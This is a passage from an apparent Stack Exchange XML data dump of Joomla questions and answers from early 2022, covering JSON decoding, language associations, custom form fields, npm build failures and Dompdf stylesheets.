  <row Id="31969" PostTypeId="1" AcceptedAnswerId="31970" CreationDate="2022-02-22T04:33:51.200" Score="0" ViewCount="196" Body="&lt;p&gt;I have a column in my database that essentially creates an array and I am essentially trying to explode it but I cannot figure out how to get it to work.  Its also going into SQL with { characters that are not helping the situation.&lt;/p&gt;&#xA;&lt;p&gt;When I run the query:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query = &amp;quot;SELECT awaylineup FROM #__baseball_lineup&amp;quot;;       &#xA;$db-&amp;gt;setQuery($query);&#xA;$lineups = $db-&amp;gt;loadObjectList();&#xA;foreach($lineups as $lineup){&#xA;    $players = explode(&amp;quot; &amp;quot;, $lineup-&amp;gt;awaylineup);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The results come out as:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&amp;quot;awaylineup0&amp;quot;:&amp;quot;order&amp;quot;:&amp;quot;0&amp;quot;,&amp;quot;player&amp;quot;:&amp;quot;1&amp;quot;,&amp;quot;position&amp;quot;:&amp;quot;2&amp;quot;},&amp;quot;awaylineup1&amp;quot;:&amp;quot;order&amp;quot;:&amp;quot;1&amp;quot;,&amp;quot;player&amp;quot;:&amp;quot;3&amp;quot;,&amp;quot;position&amp;quot;:&amp;quot;3&amp;quot;},&amp;quot;awaylineup2&amp;quot;:{&amp;quot;order&amp;quot;:&amp;quot;2&amp;quot;,&amp;quot;player&amp;quot;:&amp;quot;2&amp;quot;,&amp;quot;position&amp;quot;:&amp;quot;9&amp;quot;}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I am trying to get:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[awaylineup0] =&amp;gt; Array&#xA;(&#xA;[order] =&amp;gt; 1&#xA;[player] =&amp;gt; 1&#xA;[position] =&amp;gt;2&#xA;)&#xA;[awaylineup1] =&amp;gt; Array&#xA;(&#xA;[order] =&amp;gt; 1&#xA;[player] =&amp;gt; 3&#xA;[position] =&amp;gt;3&#xA;)&#xA;[awaylineup2] =&amp;gt; Array&#xA;(&#xA;[order] =&amp;gt; 2&#xA;[player] =&amp;gt; 2&#xA;[position] =&amp;gt;9&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I don't know how many foreach's I have to run to get that, but also how to remove the {} characters in the string?&lt;/p&gt;&#xA;&lt;p&gt;Update&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; array ( 0 =&amp;gt; NULL, 1 =&amp;gt;&#xA;&amp;gt; '{&amp;quot;awaylineup0&amp;quot;:{&amp;quot;order&amp;quot;:&amp;quot;0&amp;quot;,&amp;quot;player&amp;quot;:&amp;quot;1&amp;quot;,&amp;quot;position&amp;quot;:&amp;quot;2&amp;quot;},&amp;quot;awaylineup1&amp;quot;:{&amp;quot;order&amp;quot;:&amp;quot;1&amp;quot;,&amp;quot;player&amp;quot;:&amp;quot;3&amp;quot;,&amp;quot;position&amp;quot;:&amp;quot;3&amp;quot;},&amp;quot;awaylineup2&amp;quot;:{&amp;quot;order&amp;quot;:&amp;quot;2&amp;quot;,&amp;quot;player&amp;quot;:&amp;quot;2&amp;quot;,&amp;quot;position&amp;quot;:&amp;quot;9&amp;quot;}}',&#xA;&amp;gt; 2 =&amp;gt;&#xA;&amp;gt; '{&amp;quot;awaylineup0&amp;quot;:{&amp;quot;order&amp;quot;:&amp;quot;0&amp;quot;,&amp;quot;player&amp;quot;:&amp;quot;1&amp;quot;,&amp;quot;position&amp;quot;:&amp;quot;1&amp;quot;},&amp;quot;awaylineup1&amp;quot;:{&amp;quot;order&amp;quot;:&amp;quot;1&amp;quot;,&amp;quot;player&amp;quot;:&amp;quot;2&amp;quot;,&amp;quot;position&amp;quot;:&amp;quot;9&amp;quot;},&amp;quot;awaylineup2&amp;quot;:{&amp;quot;order&amp;quot;:&amp;quot;2&amp;quot;,&amp;quot;player&amp;quot;:&amp;quot;3&amp;quot;,&amp;quot;position&amp;quot;:&amp;quot;6&amp;quot;}}',&#xA;&amp;gt; )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15798" LastEditorUserId="12352" LastEditDate="2022-02-22T06:29:35.823" LastActivityDate="2022-02-22T06:29:35.823" Title="Decode json strings from a database table column" Tags="|joomla-4.x|jdatabase|sql|joomla-4|json|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31970" PostTypeId="2" ParentId="31969" CreationDate="2022-02-22T05:36:48.917" Score="2" Body="&lt;p&gt;It looks like you are mangling valid json data with &lt;code&gt;explode()&lt;/code&gt; (the wrong tool for the job).&lt;/p&gt;&#xA;&lt;p&gt;You just need to call &lt;code&gt;json_decode()&lt;/code&gt; on each string.  This can be done with &lt;code&gt;array_map()&lt;/code&gt; or a classic &lt;code&gt;foreach()&lt;/code&gt; (there are other ways as well).&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$lineups = $db-&amp;gt;loadColumn();&#xA;foreach ($lineups as &amp;amp;$lineup) {&#xA;    $lineup = json_decode($lineup, true);&#xA;}&#xA;var_export($lineups);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It is important that you eliminate &lt;code&gt;null&lt;/code&gt; values from your result set by adding &lt;code&gt;WHERE awaylineup IS NOT NULL&lt;/code&gt; to your query.  &lt;code&gt;json_decode()&lt;/code&gt; will bark in modern versions of PHP when it encounters &lt;code&gt;null&lt;/code&gt; values.&lt;/p&gt;&#xA;&lt;p&gt;Leaving the result set as an indexed array of arrays is important to avoid destroying/overwriting data while looping.  The above should give you something like: (&lt;a href=&quot;https://3v4l.org/B4N5l&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demo&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;array (&#xA;  0 =&amp;gt; &#xA;  array (&#xA;    'awaylineup0' =&amp;gt; &#xA;    array (&#xA;      'order' =&amp;gt; '0',&#xA;      'player' =&amp;gt; '1',&#xA;      'position' =&amp;gt; '2',&#xA;    ),&#xA;    'awaylineup1' =&amp;gt; &#xA;    array (&#xA;      'order' =&amp;gt; '1',&#xA;      'player' =&amp;gt; '3',&#xA;      'position' =&amp;gt; '3',&#xA;    ),&#xA;    'awaylineup2' =&amp;gt; &#xA;    array (&#xA;      'order' =&amp;gt; '2',&#xA;      'player' =&amp;gt; '2',&#xA;      'position' =&amp;gt; '9',&#xA;    ),&#xA;  ),&#xA;  1 =&amp;gt; &#xA;  array (&#xA;    'awaylineup0' =&amp;gt; &#xA;    array (&#xA;      'order' =&amp;gt; '0',&#xA;      'player' =&amp;gt; '1',&#xA;      'position' =&amp;gt; '1',&#xA;    ),&#xA;    'awaylineup1' =&amp;gt; &#xA;    array (&#xA;      'order' =&amp;gt; '1',&#xA;      'player' =&amp;gt; '2',&#xA;      'position' =&amp;gt; '9',&#xA;    ),&#xA;    'awaylineup2' =&amp;gt; &#xA;    array (&#xA;      'order' =&amp;gt; '2',&#xA;      'player' =&amp;gt; '3',&#xA;      'position' =&amp;gt; '6',&#xA;    ),&#xA;  ),&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2022-02-22T06:27:02.550" LastActivityDate="2022-02-22T06:27:02.550" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31971" PostTypeId="1" CreationDate="2022-02-22T07:12:47.393" Score="2" ViewCount="313" Body="&lt;p&gt;How can I get the associated articles programmatically in my custom component function?&lt;/p&gt;&#xA;&lt;p&gt;I have my custom component and I am creating a new article for a multilingual site, so I need to associate articles of different languages.&lt;/p&gt;&#xA;" OwnerUserId="15752" LastEditorUserId="12352" LastEditDate="2022-02-22T07:33:05.433" LastActivityDate="2022-02-22T07:34:25.100" Title="How to get Joomla article association?" Tags="|joomla-3.x|component|articles|custom-component|multilingual|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31972" PostTypeId="2" ParentId="31971" CreationDate="2022-02-22T07:13:44.040" Score="2" Body="&lt;p&gt;You can use &lt;code&gt;JLanguageAssociations::getAssociations&lt;/code&gt;. This function will return an array containing associated items. You can also check if the language filter Items Associations parameter is enabled using &lt;code&gt;JLanguageAssociations::isEnabled()&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Here's an example from ROOT/administrator/components/com_content/models/article.php:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Load associated content items&#xA;$app = JFactory::getApplication();&#xA;$assoc = JLanguageAssociations::isEnabled();&#xA;&#xA;if ($assoc)&#xA;{&#xA;    $item-&amp;gt;associations = array();&#xA;&#xA;    if ($item-&amp;gt;id != null)&#xA;    {&#xA;        $associations = JLanguageAssociations::getAssociations('com_content', '#__content', 'com_content.item', $item-&amp;gt;id);&#xA;&#xA;        foreach ($associations as $tag =&amp;gt; $association)&#xA;        {&#xA;            $item-&amp;gt;associations[$tag] = $association-&amp;gt;id;&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;return $item;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15752" LastEditorUserId="12352" LastEditDate="2022-02-22T07:34:25.100" LastActivityDate="2022-02-22T07:34:25.100" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31973" PostTypeId="1" CreationDate="2022-02-22T19:08:03.810" Score="2" ViewCount="537" Body="&lt;p&gt;In my Joomla 3 component, i have a custom field that is a select list with multiple=true.&#xA;The values of such an select list are binary handled like 1,2,4,8,16.&lt;br /&gt;&#xA;When storing, the values are getting added and stored as one value.  When displaying the select field, the binary values are getting reassembled into an array.&lt;/p&gt;&#xA;&lt;p&gt;All works in Joomla 3, but an Joomla 4 Select list with fancy layout or not is not displaying the selected values. The storage of the binary value works, but not the display.&lt;/p&gt;&#xA;&lt;p&gt;I saw that list field source has changed in J4, but haven't found the issue for this.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\HTML\HTMLHelper;&#xA;use Joomla\CMS\Form\FormHelper;&#xA;use Joomla\CMS\Form\Field\ListField;&#xA;&#xA;class JFormFieldBinaryselect extends ListField&#xA;{&#xA;    public $type = 'Binaryselect';&#xA;    protected static $options = array();&#xA;&#xA;    protected function getOptions()&#xA;    {&#xA;        if ($this-&amp;gt;value &amp;gt; 0) {&#xA;            // creates array from value like: 12 = [4,8]&#xA;            $this-&amp;gt;value = MyHelper::getBinArray($this-&amp;gt;value);&#xA;        }&#xA;        return parent::getOptions();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15761" LastEditorUserId="15761" LastEditDate="2022-02-23T19:32:08.613" LastActivityDate="2024-03-16T06:05:50.787" Title="Custom multiselect field not working in J4" Tags="|custom-field|form|fields|select|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31974" PostTypeId="1" CreationDate="2022-02-23T07:36:33.053" Score="1" ViewCount="39" Body="&lt;p&gt;I have a page&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://example.com/terms-and-conditions&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://example.com/terms-and-conditions&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;in my Joomla, which has the same page also in other languages, properly associated and translated, along with menu items (English has the menu item ID 281)&lt;/p&gt;&#xA;&lt;p&gt;Is there a way to get the translated version of the other pages just by adding a language parameter to the URL?&lt;/p&gt;&#xA;&lt;p&gt;For example for the German version (which lives under &lt;a href=&quot;https://example.com/agb&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://example.com/agb&lt;/a&gt;) I&#xA;have tried the following:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://example.com/de/terms-and-conditions&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://example.com/de/terms-and-conditions&lt;/a&gt; (does not work)&lt;/p&gt;&#xA;&lt;p&gt;or (by menu item ID)&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://example.com/?Itemid=281&amp;amp;lang=de&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://example.com/?Itemid=281&amp;amp;lang=de&lt;/a&gt; (does not work)&#xA;and&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://example.com/de/?Itemid=281&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://example.com/de/?Itemid=281&lt;/a&gt; (does not work)&lt;/p&gt;&#xA;&lt;p&gt;Is there any way to do this?&#xA;This would come in handy for automation or links that would need to be translated in content.&lt;/p&gt;&#xA;&lt;p&gt;Or would I have to write my own URL router for this kind of URL?&lt;/p&gt;&#xA;" OwnerUserId="9248" LastActivityDate="2022-02-23T07:36:33.053" Title="How to get an associated language version of a menu item by modifying the URL in Joomla?" Tags="|translation|non-sef-url|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31975" PostTypeId="1" CreationDate="2022-02-23T08:39:06.887" Score="0" ViewCount="77" Body="&lt;p&gt;I want to build a simple site with Joomla 4. The webpage should only handle these few things:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;For guests (not logged in users):&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Display an article with some text and the 'login mask' inside the article. There should be a link to 'register new user'.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;For logged in users:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Display an article with some text and a 'Log Out' button.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;That's all.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Lodder pointed me to the possibility of adding modules into articles:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/560u0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/560u0.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16144" LastEditorUserId="12352" LastEditDate="2022-02-23T10:04:40.400" LastActivityDate="2022-03-04T13:36:51.087" Title="How to show 'Register New User' for all guests and something else for registered users?" Tags="|module|articles|login|joomla-4|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31976" PostTypeId="2" ParentId="31973" CreationDate="2022-02-23T08:54:25.917" Score="0" Body="&lt;p&gt;In Joomla4 you don't need the FormHelper::loadFieldClass() necessarily, just&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use \Joomla\CMS\Form\Field\ListField;&#xA;&#xA;class BinaryselectField extends ListField&#xA;{&#xA;     protected $type = 'Binaryselect';&#xA;&#xA;     protected $layout = 'joomla.form.field.list';&#xA;&#xA;     protected function getOptions()&#xA;     {&#xA;          $options = array();&#xA;          //then get your array of data and then merge&#xA;          $options = array_merge(parent::getOptions(), $options);&#xA;          return $options;&#xA;     }&#xA;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So once the field is defined, for multi selects you will need to manipulate the selections.&#xA;In the Admin side - table file within the bind step:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function bind($array, $ignore = '') &#xA;{&#xA;    // to save multiple select type formfield items, json the submitted data for storing&#xA;    $array['bins'] = json_encode($array['bins']);&#xA;&#xA;    return parent::bind($array, $ignore);&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So the above covers saving the selections into the database.  Then to display the selected options when editing an existing record - in the admin side - model file getItem step:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function getItem($pk = null)&#xA;{&#xA;    if ($item = parent::getItem($pk)) {&#xA;&#xA;        //Do any procesing on fields here if needed before being displayed&#xA;        $item-&amp;gt;bins = json_decode($item-&amp;gt;bins);&#xA;        // continue with remainder of method&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In the frontend form - in the model getData method:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    // decode the string to array&#xA;    $this-&amp;gt;_item-&amp;gt;bins = json_decode($this-&amp;gt;_item-&amp;gt;bins);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And if using the table to save data from the frontend, such as a simple publish method, don't forget to decode the json data:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function publish($id, $state)&#xA;{&#xA;    $table = $this-&amp;gt;getTable();&#xA;            &#xA;    $table-&amp;gt;load($id);&#xA;    $table-&amp;gt;state = $state;&#xA;    $table-&amp;gt;bins = json_decode($table-&amp;gt;bins);&#xA;&#xA;    return $table-&amp;gt;store();&#xA;            &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1985" LastEditorUserId="1985" LastEditDate="2022-02-25T00:33:04.830" LastActivityDate="2022-02-25T00:33:04.830" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31977" PostTypeId="1" CreationDate="2022-02-23T11:40:15.053" Score="0" ViewCount="170" Body="&lt;p&gt;Im using Joomla 4.1.0&#xA;When i try to send a test mail, from Global Configuration - Server - Mail, i get the following error message.&#xA;&amp;quot;An error has occurred while fetching the JSON data: HTTP 500 status code. Internal Server Error&amp;quot;&#xA;Mailer is SMTP&#xA;using SMTP port 587, and security SSL/TLS&lt;/p&gt;&#xA;" OwnerUserId="16142" LastActivityDate="2022-02-23T11:40:15.053" Title="Internal Server Error on Send Test Mail" Tags="|emails|error-handling|global-configuration|joomla-mail|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31978" PostTypeId="2" ParentId="4820" CreationDate="2022-02-23T12:30:22.550" Score="-2" Body="&lt;p&gt;Affiliation Disclosure: &lt;strong&gt;I am affiliated with the product/company recommended below.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you want to work your flow of LDAP like this:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Establishing a session connection. The user establishes a connection to the server using an LDAP port.&#xA;Request.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The user sends a query to the server, such as an email lookup.&#xA;Response.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The LDAP protocol searches the directory for information and returns it to the user.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Completion.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I recommend the solution from miniOrange Inc Joomla's solution from &lt;a href=&quot;https://plugins.miniorange.com/joomla-ldap&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla LDAP&lt;/a&gt; team. They have multiple plans like for unlimited authentication as well as for Joomla role mapping and attribute mapping also.&lt;/p&gt;&#xA;&lt;p&gt;You can ask them for a demo for testing the functionalities.&lt;/p&gt;&#xA;&lt;p&gt;The product is compatible with Joomla 4 and PHP 8.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.miniorange.com/contact&quot; rel=&quot;nofollow noreferrer&quot;&gt;Support&lt;/a&gt; is also available for customization in your plugin.&lt;/p&gt;&#xA;" OwnerUserId="16146" LastEditorUserId="12352" LastEditDate="2022-02-23T20:14:07.640" LastActivityDate="2022-02-23T20:14:07.640" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31979" PostTypeId="2" ParentId="28385" CreationDate="2022-02-23T12:44:17.997" Score="-3" Body="&lt;p&gt;Affiliation Disclosure: I have direct direct affiliation with the below mentioned product/company, so readers should be aware of inherent bias in my recommendation.&lt;/p&gt;&#xA;&lt;p&gt;Customization depends on which features you want while performing SSO like role mapping or attribute mapping as well as user provisioning. You can use the miniOrange Joomla SAML SP plugin. &lt;a href=&quot;https://plugins.miniorange.com/joomla-single-sign-sso-using-google-apps-idp&quot; rel=&quot;nofollow noreferrer&quot;&gt;Click here to see the solution&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;With Identity provider as Google apps and to authenticate users from Google apps to login to Joomla site which is acts as service provider.&lt;/p&gt;&#xA;&lt;p&gt;While performing SSO, it maps attributes like profile and groups too.&lt;/p&gt;&#xA;" OwnerUserId="16146" LastEditorUserId="12352" LastEditDate="2022-02-23T20:25:33.953" LastActivityDate="2022-02-23T20:25:33.953" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31980" PostTypeId="1" CreationDate="2022-02-23T22:24:31.170" Score="1" ViewCount="30" Body="&lt;p&gt;In my extension a language file which aren't loaded from the directory : /components/com_exten/language/en-GB/en-GB.com_exten.controllers.ini. In the Joomla! debug there are no parse error on this file&lt;/p&gt;&#xA;&lt;p&gt;There are others language file in this directory which are loaded : en-GB.com_exten.models.ini, en-GB.com_exten.views.ini&lt;/p&gt;&#xA;&lt;p&gt;I don't understand why only the file en-GB.com_exten.controllers.ini isn't loaded ?&lt;/p&gt;&#xA;" OwnerUserId="1819" LastActivityDate="2022-02-23T22:24:31.170" Title="Language file not loaded into extension directory" Tags="|extensions|joomla-4.x|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31981" PostTypeId="2" ParentId="31973" CreationDate="2022-02-24T12:01:22.260" Score="0" Body="&lt;p&gt;Because in J4 List field rendering has changes i solved it by moving the value creation into the setup function:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function setup(\SimpleXMLElement $element, $value, $group = null)&#xA;{&#xA;    $return = parent::setup($element, $value, $group);&#xA;&#xA;    if ($this-&amp;gt;value &amp;gt; 0) {&#xA;        $this-&amp;gt;value = MyHelper::getBinArray($this-&amp;gt;value);&#xA;    }&#xA;&#xA;    return $return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15761" LastActivityDate="2022-02-24T12:01:22.260" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31982" PostTypeId="2" ParentId="31629" CreationDate="2022-02-24T14:15:18.750" Score="0" Body="&lt;p&gt;Download,install,activate,a Mootools disabler.&lt;/p&gt;&#xA;" OwnerUserId="16148" LastActivityDate="2022-02-24T14:15:18.750" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31983" PostTypeId="1" CreationDate="2022-02-24T18:52:26.850" Score="1" ViewCount="19" Body="&lt;p&gt;Upon a few days i was building Joomla 4 in an Github Workflow and after done continued doing other stuff.&lt;/p&gt;&#xA;&lt;p&gt;Now the build process fails and i dont understand whats going wrong.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Important: The build needs to happen in the &lt;code&gt;build/joomla&lt;/code&gt; folder&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Checkout and composer install works.&lt;/p&gt;&#xA;&lt;p&gt;The simplifield build yml:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;on:&#xA;  push:&#xA;    tags:&#xA;      - &amp;quot;*&amp;quot;&#xA;jobs:&#xA;  build:&#xA;    runs-on: ubuntu-latest&#xA;&#xA;    steps:&#xA;      - uses: actions/checkout@v2&#xA;&#xA;      - name: Checkout Joomla 4&#xA;        uses: actions/checkout@v2&#xA;        with:&#xA;          repository: joomla/joomla-cms&#xA;          ref: &amp;quot;4.1.0&amp;quot;&#xA;          path: build/joomla&#xA;&#xA;      - name: Composer J4&#xA;        run: composer install --working-dir=build/joomla --prefer-dist --ignore-platform-reqs --no-interaction --no-progress --optimize-autoloader --ansi&#xA;&#xA;      - run: npm --prefix build/joomla ci&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is the error message:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Run npm --prefix build/joomla ci&#xA;  npm --prefix build/joomla ci&#xA;  shell: /bin/bash -e {0}&#xA;npm WARN tarball tarball data for joomla-a11y-checker@https://github.com/joomla-projects/joomla-a11y-checker/tarball/joomla (sha512-E08QHQBpwkvzSsMweQlO9GmVNkP3dyarJ+bWTXkMDObeqUxAJTZOHZ7o7sQstmWLlJg/Q46OB4Ki76UMaFXzFg==) seems to be corrupted. Trying again.&#xA;npm ERR! code EINTEGRITY&#xA;npm ERR! sha512-E08QHQBpwkvzSsMweQlO9GmVNkP3dyarJ+bWTXkMDObeqUxAJTZOHZ7o7sQstmWLlJg/Q46OB4Ki76UMaFXzFg== integrity checksum failed when using sha512: wanted sha512-E08QHQBpwkvzSsMweQlO9GmVNkP3dyarJ+bWTXkMDObeqUxAJTZOHZ7o7sQstmWLlJg/Q46OB4Ki76UMaFXzFg== but got sha512-OK88rVpbPI1Q91LY1YzloVOtDgNywCTNWk7vHoVTdA+SALbTw+XhGyNiHKmxrUnwgS6PHKdE3FgO1XU9HI/4uQ==. (3736345 bytes)&#xA;&#xA;npm ERR! A complete log of this run can be found in:&#xA;npm ERR!     /home/runner/.npm/_logs/2022-02-24T18_42_00_025Z-debug-0.log&#xA;Error: Process completed with exit code 1.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15761" LastActivityDate="2022-02-24T18:52:26.850" Title="Building J4 fails in github workflow (tarball data for joomla-a11y-checker corrupted)" Tags="|joomla-4.x|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31984" PostTypeId="1" CreationDate="2022-02-25T20:39:43.757" Score="3" ViewCount="222" Body="&lt;p&gt;Is there a way to reduce the frequency of the automatic &amp;quot;Joomla! Update available&amp;quot; mails? I do not want to disable the plugin, because I want to be notified about updates. But multiple mails per day is just too much. I'd prefer to receive one mail per week, or one per day at most.&lt;/p&gt;&#xA;" OwnerUserId="15238" LastEditorUserId="15238" LastEditDate="2022-02-26T09:26:53.750" LastActivityDate="2024-01-15T12:04:13.157" Title="Reducing frequency of the &quot;Joomla! update available&quot; mails to once per day or once per week" Tags="|update|joomla-4.x|system-plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31985" PostTypeId="2" ParentId="31984" CreationDate="2022-02-25T21:42:21.120" Score="2" Body="&lt;p&gt;At System -&amp;gt; Update -&amp;gt; Extensions -&amp;gt; Options you can change the caching to 24 hours so you only get one email per day.&lt;/p&gt;&#xA;&lt;p&gt;There does not appear to be any other option apart from disabling the System - Joomla! Update Notification plugin.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2022-02-25T21:42:21.120" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="31987" PostTypeId="1" AcceptedAnswerId="31991" CreationDate="2022-03-01T09:45:47.773" Score="1" ViewCount="2231" Body="&lt;p&gt;I'm trying to create a Joomla system plugin enabling a user to generate a pdf based on a template. I'm using the &lt;strong&gt;Dompdf&lt;/strong&gt; library. I managed to create a PDF, but linking to an &lt;strong&gt;external css file&lt;/strong&gt; isn't working.&lt;/p&gt;&#xA;&lt;p&gt;I have tried using the setBasePath with these parameters in my Helper.php file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;private static $template_directory = 'media' . DS . 'plg_system_pdfgenerator' . DS . 'template';&#xA;&#xA;setBasePath(JPATH_ROOT . DS . self::$template_directory . DS . 'css' . DS);&#xA;setBasePath(Uri::root() . DS . self::$template_directory . DS . 'css' . DS);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and in my template with .php or .html extension, I'm using:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link type=&amp;quot;text/css&amp;quot; rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;style.css&amp;quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have also tried appending &lt;code&gt;Uri::root()&lt;/code&gt;, using DOMDocument. It works for anchors and did work for images locally, but not on the server (I will make another request for this question) :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$doc = new DOMDocument();&#xA;libxml_use_internal_errors(true);&#xA;$doc-&amp;gt;loadHTML(mb_convert_encoding($html, 'HTML-ENTITIES', 'UTF-8'));&#xA;$linkTags = $doc-&amp;gt;getElementsByTagName('link');&#xA;    &#xA;foreach ($linkTags as $linkTag) {&#xA;    if ($linkTag-&amp;gt;getAttribute('rel') === 'stylesheet') {&#xA;        $stylesheet = $linkTag;&#xA;        $href = Uri::root() . $stylesheet-&amp;gt;getAttribute('href');&#xA;        // if href is referenced by absolute path&#xA;        if (str_contains($href, '//')) {&#xA;            $href = str_replace('//', '/', $href);&#xA;        }&#xA;        $stylesheet-&amp;gt;setAttribute('href', $href);&#xA;    }&#xA;}&#xA;&#xA;// returns false if an error occured&#xA;$response = $doc-&amp;gt;saveHTML();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In which case I tried using:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link type=&amp;quot;text/css&amp;quot; rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;media/plg_system_pdfgenerator/template/css/style.css&amp;quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;AND&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link type=&amp;quot;text/css&amp;quot; 